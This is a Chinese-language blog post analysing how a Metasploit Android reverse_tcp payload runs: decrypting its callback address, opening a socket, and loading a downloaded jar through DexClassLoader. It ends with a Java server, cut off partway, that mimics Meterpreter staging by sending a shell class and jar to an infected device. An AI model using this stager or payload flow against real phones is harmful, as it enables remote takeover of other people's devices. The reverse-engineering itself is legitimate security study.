Metasploit Android载荷运行流程刨析及其Meterpreter复现

本文写于2019年底,于2021年由CSDN迁移博客至此.

0x01运行流程分析

运用工具:
jd-gui,jadx,d2j,apktool
先生成一个载荷apk,接着利用apktool反编译它的资源文件
在这里插入图片描述在这里插入图片描述
可以看到主入口在MainActivity这个类
在这里插入图片描述
MainActivity在向MainService类的startService方法传入了Context后立刻结束掉了当前类
在这里插入图片描述
可以看到startService方法正式启动了MainService类的服务
在这里插入图片描述
MainService类接着调用了Payload类的start方法,并传入Context
在这里插入图片描述
在Payload的start方法内调用了startInPath方法,并向其中传入了软件的私有目录
而startInPath方法则调用了d类的start方法
在这里插入图片描述
可以看到d类实际上就继承了Thread
在重写run方法后调用了Payload的main方法
这样一来,Payload方法也正式执行了
在这里插入图片描述
在main方法内,看到第一处红线标记处,调用了b类的a方法并传入了变量byte数组a,返回值重新赋值给成员a
这里简要说明一下,byte数组a是被加密过的ip及端口,而b类的a方法就是负责解密数组的
ip及端口就是傀儡机要回弹的地址,注意:解密出的ip和端口最终会赋值到下面变量名为str的字符串
程序执行到第二处红线标记处,其中a方法就是把当前类设置为软件主入口了,没什么好说的
继续看main方法,接下来程序执行的代码就是向控制机反弹shell的!
在这里插入图片描述
程序继续往下走,while循环内判断了str这个被赋值ip和端口的字符串是否以tcp开头
刚刚我们是利用meterpreter模块的reverse_tcp来生成恶意载荷,所以是以tcp开头
进入判断:首先注意str被赋值的字符串格式是"tcp://ip:port"
所以最终程序将执行到图中第二处红线标记处:向指定的ip建立Socket套接字
继续往下看
程序执行到第三处红线标记处时实例化了DataInputStream和DataOutputStream,并且向其中传入了套接字的io流
注意,其中传入的h成员,接下来会讲到
接着io流进入最为关键的Payload类中的a方法
在这里插入图片描述
先大致浏览一下a方法,接下来将分段讲解a方法
在这里插入图片描述
首先,图中变量str1赋予了传入的数组中的第一个值
还记得之前传入的h成员吗,我们对他进行溯源
在这里插入图片描述
回到Payload类最开始的start方法,传入的正是软件的私有目录
大致浏览过a方法后可以知道,软件的私有目录正是作为程序的根目录
回到a方法
程序继续执行
在这里插入图片描述
其中str2变量在抽取随机数后拼接在了str1后面
而str3在str2后面拼接了".jar"
str5将io流传入了另一个a方法,以下我们简称这另一个a方法为a1方法
查看a1方法
在这里插入图片描述
可以看到a1方法在读取了Datainputstrem数据流的int之后传入了byte数组
接着程序在遍历完成int长度后就会跳出循环,返回一个被赋值了的byte数组
继续回到a方法
在这里插入图片描述
str5在读取完io流回传的数据后
另一个byte数组(图中第二处红线)开始了读取
最终byte数组被写入了str3这个文件内,也就是拼接了".jar"的文件
是不是感觉它的运行原理马上就要明晰了?
在第四处红线标记处,一个变量名为clazz的Class赋予了实例化后的DexClassLoader,并且传入了刚刚的jar文件
str5作为加载的类名传入clazz
接着程序执行到最后一行,clazz的start方法被执行,并且传入io流

怎么样,是不是很兴奋,运行原理已经出来了,我们大致理一下思路
[1].程序经过一堆传参到达Payload类的main方法
[2].程序建立套接字连接控制端
[3].程序将套接字的数据流传入a方法
[4].a方法处理了传来的数据,在软件私有目录下接收了jar文件和要加载的类信息
[5].程序最终加载了jar方法中的代码
所以meterpreter模块就是通过远程传输jar文件来让傀儡机动态执行jar中的代码

0x02 meterpreter模块传输文件解析

要知道meterpreter如何接管傀儡机,还是要知道它是传入的什么文件,传输的什么数据
为了验证第一步的结论,我修改了一下生成的载荷apk的代码
在这里插入图片描述
可以看到程序在接收完jar文件后执行了其中的代码就立刻删除了传输过来的文件
我对它的smali代码进行修改
在这里插入图片描述
我找到其中的delete方法
在这里插入图片描述
将delete方法删除,并且添加了一个Log语句用于打印str5的内容
这样一来,文件,str5的内容我都能知道了
重新编译后安装apk,接着利用metasploit接管傀儡机
在这里插入图片描述
接着查看软件的私有目录
在这里插入图片描述
可以看到jar文件确实没有被删除
接着确认一下打印内容
在这里插入图片描述
打印内容应该就是jar文件的类路径了
查看jar包
在这里插入图片描述
有一个dex文件,反编译查看
在这里插入图片描述
根据str5的内容进入指定类
在这里插入图片描述
程序之前调用到了jar文件中指定类的start方法,并且传入了io流
而这个jar文件也确实存在start方法
大致浏览一遍内容可知,这个jar文件就是meterpreter模块的代码!
也是通过读取数据流和加载dex文件的方式执行控制端下达的指令!
meterpreter模块的真面目也出来了!
那么何不如模仿meterpreter模块让傀儡机执行我们设定的命令呢?

0x03 复现远程控制以及代码执行

首先先回到a1方法查看代码
在这里插入图片描述
运行流程如下:
[1]读字节长度
[2]给byte指定读取到的文件长度
[3]根据文件长度迭代取出io流的内容
[4]返回byte
流程很简单,

那么相应的我们发送payload的流程如下
[1]向io流写入长度
[2]向io流发送指定的payload

发送什么内容呢?根据之前的分析,发送的内容应该如此构造:
[1]先发送指定的类路径
[2]发送指定jar文件

运行流程理清楚了
那么发送什么payload好呢?
我在metasploit的目录里找到了有趣的文件
在这里插入图片描述
查看shell.jar的代码
在这里插入图片描述
知晓了类路径,我通过修改smali代码对图片第二处红线处执行的代码进行了修改
在这里插入图片描述
这样我就能通过判断shell文件夹是否被创建来判断代码是否被执行了

接下来放代码

package com.msf;

import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.UnknownHostException;

public class Main {
public static void main(String[] arg) throws Exception {
	ServerSocket serverSocket=new ServerSocket(1568);
	System.out.println("build a server in port of 1568");
	Socket socket=serverSocket.accept();
	System.out.println("msf get in!");
	DataOutputStream outputStream=getOutPutStream(socket);
	sendPayload(outputStream, "androidpayload.stage.Shell", "C:/aaw.jar");
	System.out.println("Over!");
}
public static DataOutputStream getOutPutStream(Socket socket) throws IOException {
	System.out.println("[!]-->getOutputStream!");
	return new DataOutputStream(socket.getOutputStream());
}
public static void sendPayload(DataOutputStream outputStream,String clazz,String injectJar) throws Exception {
	int clazz_length = clazz.length();
	System.out.println("[*]class  length-->"+clazz_length);
	File file=new File(injectJar);
	int inject_length=(int) file.length();
	System.out.println("[*]injectJar length-->"+inject_length);
	byte[] file_b=getFile(file);
	outputStream.writeInt(clazz_length);
	System.out.println("[*]send class length...");
	outputStream.write(clazz.getBytes());
	System.out.println("[*]send class...");
	outputStream.writeInt(inject_length);
	System.out.println("[*]send injectJar length");
	outputStream.write(file_b);
	System.out.println("[*]send injectJar...");
	Thread.sleep(3000);
	System.out.println("[*]-->SEND A SHELL!");
}
public static byte[] getFile(File file) throws Exception {
	FileInputStream fileInputStream=new FileInputStream(file);
	int readLen=(int) file.length();
	byte[] b=new byte[readLen];
	int length=0;
	while(length

posted on 2021-06-13 08:38  MG_Aldys4  阅读(411)  评论(0编辑  收藏  举报

导航